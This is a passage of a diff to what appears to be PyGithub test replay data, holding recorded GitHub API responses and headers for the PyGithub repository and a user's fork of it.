yGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/lexa/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lexa/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/lexa/PyGithub/languages","stargazers_url":"https://api.github.com/repos/lexa/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/lexa/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/lexa/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/lexa/PyGithub/subscription","commits_url":"https://api.github.com/repos/lexa/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/lexa/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/lexa/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/lexa/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/lexa/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/lexa/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lexa/PyGithub/merges","archive_url":"https://api.github.com/repos/lexa/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lexa/PyGithub/downloads","issues_url":"https://api.github.com/repos/lexa/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/lexa/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/lexa/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/lexa/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lexa/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/lexa/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/lexa/PyGithub/deployments","created_at":"2022-09-27T16:22:55Z","updated_at":"2022-09-27T16:35:24Z","pushed_at":"2022-10-13T10:44:09Z","git_url":"git://github.com/lexa/PyGithub.git","ssh_url":"git@github.com:lexa/PyGithub.git","clone_url":"https://github.com/lexa/PyGithub.git","svn_url":"https://github.com/lexa/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11667,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-10-12T13:43:12Z","pushed_at":"2022-10-13T10:07:22Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13604,"stargazers_count":5535,"watchers_count":5535,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1533,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":161,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1533,"open_issues":161,"watchers":5535,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-10-12T13:43:12Z","pushed_at":"2022-10-13T10:07:22Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13604,"stargazers_count":5535,"watchers_count":5535,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1533,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":161,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1533,"open_issues":161,"watchers":5535,"default_branch":"master"},"network_count":1533,"subscribers_count":0} +[('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"35238b440248f33799a23fe34e69ac9874146d6cd35ef055800a234a19477662"'), ('Last-Modified', 'Tue, 27 Sep 2022 16:35:24 GMT'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4682'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '318'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F864:06B7:65ABBC:6AC296:64785E27')] +{"id":542181388,"node_id":"R_kgDOIFEIDA","name":"PyGithub","full_name":"lexa/PyGithub","private":false,"owner":{"login":"lexa","id":80391,"node_id":"MDQ6VXNlcjgwMzkx","avatar_url":"https://avatars.githubusercontent.com/u/80391?v=4","gravatar_id":"","url":"https://api.github.com/users/lexa","html_url":"https://github.com/lexa","followers_url":"https://api.github.com/users/lexa/followers","following_url":"https://api.github.com/users/lexa/following{/other_user}","gists_url":"https://api.github.com/users/lexa/gists{/gist_id}","starred_url":"https://api.github.com/users/lexa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lexa/subscriptions","organizations_url":"https://api.github.com/users/lexa/orgs","repos_url":"https://api.github.com/users/lexa/repos","events_url":"https://api.github.com/users/lexa/events{/privacy}","received_events_url":"https://api.github.com/users/lexa/received_events","type":"User","site_admin":false},"html_url":"https://github.com/lexa/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/lexa/PyGithub","forks_url":"https://api.github.com/repos/lexa/PyGithub/forks","keys_url":"https://api.github.com/repos/lexa/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lexa/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lexa/PyGithub/teams","hooks_url":"https://api.github.com/repos/lexa/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/lexa/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/lexa/PyGithub/events","assignees_url":"https://api.github.com/repos/lexa/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/lexa/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/lexa/PyGithub/tags","blobs_url":"https://api.github.com/repos/lexa/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lexa/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lexa/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/lexa/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lexa/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/lexa/PyGithub/languages","stargazers_url":"https://api.github.com/repos/lexa/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/lexa/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/lexa/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/lexa/PyGithub/subscription","commits_url":"https://api.github.com/repos/lexa/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/lexa/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/lexa/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/lexa/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/lexa/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/lexa/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lexa/PyGithub/merges","archive_url":"https://api.github.com/repos/lexa/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lexa/PyGithub/downloads","issues_url":"https://api.github.com/repos/lexa/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/lexa/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/lexa/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/lexa/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lexa/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/lexa/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/lexa/PyGithub/deployments","created_at":"2022-09-27T16:22:55Z","updated_at":"2022-09-27T16:35:24Z","pushed_at":"2022-10-25T02:57:49Z","git_url":"git://github.com/lexa/PyGithub.git","ssh_url":"git@github.com:lexa/PyGithub.git","clone_url":"https://github.com/lexa/PyGithub.git","svn_url":"https://github.com/lexa/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11782,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":1,"watchers":0,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":true},"temp_clone_token":"","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-01T00:10:32Z","pushed_at":"2023-06-01T08:45:38Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13896,"stargazers_count":6042,"watchers_count":6042,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1633,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":252,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1633,"open_issues":252,"watchers":6042,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-01T00:10:32Z","pushed_at":"2023-06-01T08:45:38Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13896,"stargazers_count":6042,"watchers_count":6042,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1633,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":252,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1633,"open_issues":252,"watchers":6042,"default_branch":"master"},"network_count":1633,"subscribers_count":0} https GET @@ -17,6 +17,5 @@ None {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 -[('Server', 'GitHub.com'), ('Date', 'Thu, 13 Oct 2022 11:04:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2022-12-12 11:42:35 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1665662666'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', 